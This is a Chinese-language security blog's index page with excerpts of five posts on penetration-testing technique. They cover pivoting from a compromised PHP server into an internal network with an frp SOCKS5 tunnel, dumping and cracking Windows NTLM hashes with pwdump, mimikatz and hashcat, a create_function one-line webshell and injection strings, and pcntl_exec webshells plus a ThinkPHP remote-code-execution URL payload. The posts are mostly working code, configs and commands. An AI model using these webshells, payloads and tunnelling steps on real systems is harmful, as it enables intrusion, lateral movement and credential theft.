wubba lubba dub dub.
post @ 2019-05-08

在PHP的网站getshell之后,有一个比较大的B段内网,测试了一下几个代理都不太好用,最后试了frps,ngrok还没测试。

首先是reGeorg,如果是Linux的话需要上传no-socket的文件,但是实际测试,网站打开特别慢。 pass

其次是ew,之前在windows上面测试过ew,效果还不错,不过没有扫描比较大的局域网。这次测试了下,中间扫到一半出现了段错误。pass

最后试frps,实际效果不错,至少可以解决问题了。配置文件这样的:

frps.ini: 

[common]
bind_port = 10086
privilege_token = [passwd]
max_pool_count = 50
dashboard_port = [port]
dashboard_user = [user]
dashboard_pwd = [password]
use_encryption = true
use_compression = true

上面试在vps上面启动,会在对应端口开一个web服务,看到已经启动的流量和节点存活

frpc.ini

[common]
server_addr = [vps ip]
server_port = 10086
privilege_token = [passwd]
max_pool_count = 50


[socks5]
type = tcp
remote_port = [port]
plugin = socks5

这个在被控制主机上启动,运行完之后,vps的remote_port端口就会开一个socks5的代理,这样就进入到被控主机的网络里面。nmap扫描要带上-sT -Pn选项。

Read More
post @ 2019-04-02

0x01: 网络问题

socks-proxy 127.0.0.1 6876
uth-user-pass auth.txt

在openvpn的配置文件里面,我加了上面两行。
第一行因为国内网络不稳定,我加了ss的代理,后来换成了v2ray.
第二行是理由同上,因为网络不稳定,每次连接VPN都要输入用户密码,这样方便点.

具体网络不稳定有两个表现:

  1. nmap扫描全部的端口长时间没有反应.
  2. dirbuster扫描的时候会卡死进行不下去了.

上面两个问题有两个解决方法:

  1. nmap换成https://github.com/AnthraX1/InsightScan, 先用单文件扫描全部的开放端口,然后用nmap扫描开放端口服务: nmap -sS -sV -sC <IP> -p <PORT>
  2. dirbuster换成gobuster,词典不变,线程控制在25个左右.

0x02: 报告问题

我的报告格式和下面这个人的差不多。如果可以尽量使用官方的模版就用官方的模版,不然容易凉,我写了50多页的报告,做了4道半题目。
https://www.cnblogs.com/xiaoxiaoleo/p/9040339.html

0x03: 监考问题

Read More
post @ 2019-03-01

在windows里面任意读取的文件,找到了sam.old文件和system.old文件,读取之后用burp保存到文件,可以使用如下的命令来提取密码:

root@kali:~# cachedump
usage: /usr/bin/cachedump <system hive> <security hive>

root@kali:~# lsadump
usage: /usr/bin/lsadump <system hive> <security hive>

root@kali:~# pwdump
usage: /usr/bin/pwdump <system hive> <SAM hive>

或者mimikatz: lsadump::sam /system:<SYSTEM> /SAM:<SAM>

提取的格式大概是这样:

root@kali:~# pwdump system sam
Administrator:500:41aa818b512a8c0e72381e4c174e281b:1896d0a309184775f67c14d14b5c365a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:667d6c58d451dbf236ae37ab1de3b9f7:af733642ab69e156ba0c219d3bbc3c83:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8dffa305e2bee837f279c2c0b082affb:::

用户名称是:Administrator
RID是: 500
LM-HASH值: 41aa818b512a8c0e72381e4c174e281b
NT-HASH(NTLM)值: 1896d0a309184775f67c14d14b5c365a

可以使用hashcat来跑密码:

hashcat -m 1000 -a 0 --force hash.txt /usr/share/wordlists/rockyou.txt

其中的hash.txt 可以指的是上面的NT-HASH。

-m 1000 hash的类型,这里是NTLM
-a 0  0表示词典碰撞,这里是kali自带的辞典,还有3表示使用GPU来爆破,不用指定词典。
--force 忽略无显卡,直接跑
hash.txt 就是上面的NT-HASH
Read More
post @ 2019-01-10

p神在小密圈提了一个create_function的tips,就照之前的来说一句话:

<?php $sl = create_function('', @$_REQUEST['pass']);$sl();?>

只需要单独一个create_function就可以执行函数,搜了下发现在很早的时候80sec提过这个问题:https://www.securityfocus.com/archive/1/496728

不过说的主要是第二个参数可控的情况下。原理来说很简单,create_function是类似这样的一个函数:

function create_function($args, $code) {
  eval("
    function lambda_1 ($args) { $code }
  ");
  return 'lambda_1';
}

所以在第二个参数可控的情况下闭合大括号return 0; } echo 'outside'; //,就可以执行:

eval("
  function lambda_1 () { return 0; } echo 'outside'; // }
");

第一个可控的情况下,这样就可以执行phpinfo:

create_function('){}phpinfo();//', '');

可以放gdb里面直接调试下,在php源代码里面搜索create_function的实现,然后打断点就可以调试出来:

Read More
post @ 2018-12-18

2019.8.1更新

这样子执行完就不会多出来的进程,也不会多出来php-fpm进程:

<?php

/**
 * 子进程通过信号kill自己,也可以在父进程中发送kil信号结束子进程
 */

//生成子进程
$cmd = $_REQUEST['cmd'];
$pid = pcntl_fork();
if($pid == -1){
    die('could not fork');
}else{
    if($pid){
        $status = 0;
        pcntl_exec($cmd[0], $cmd[1]);
        posix_kill(getmypid(),9);
//阻塞父进程,直到子进程结束,不适合需要长时间运行的脚本.
        //可使用pcntl_wait($status, WNOHANG)实现非阻塞式

        pcntl_wait($status);
        exit;
    }
}

cmd[0]=/bin/bash&cmd[1][0]=-c&cmd[1][1]=ping%20baidu.com%20%26%26%20pkill%20php-fpm

执行命令的时候不要阻塞,不要阻塞,不要阻塞(举个例子,ping baidu.com就很蠢了)


参数执行:
pcntl_exec("/bin/bash",array("-c","id > 1.txt")) //返回值可能是502

执行脚本:
pcntl_exec("/tmp/script")   //返回值502
返回值200
<?php
$cmd = $_REQUEST['cmd'];
if(function_exists('pcntl_exec')) {
    switch(pcntl_fork()){
     case 0:
        pcntl_exec($cmd[0], $cmd[1]);
    default:
          echo "case 111";
    }
} else {
        echo '不支持pcntl扩展';
}
?>


cmd[0]=/bin/bash&cmd[1][0]=-c&cmd[1][1]=id > /tmp/xxx.txt

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=pcntl_exec&vars[1][0]=/bin/bash&vars[1][1][0]=/tmp/1.sh

<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
@unlink("/tmp/output");
$c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);

switch (pcntl_fork()) {
  case 0:
    $ret = pcntl_exec($cmd);
    exit("case 0");
  default:
    echo "case 1";
    break;
}

上面执行的脚本那行chmod不可以少

Read More
⬆︎TOP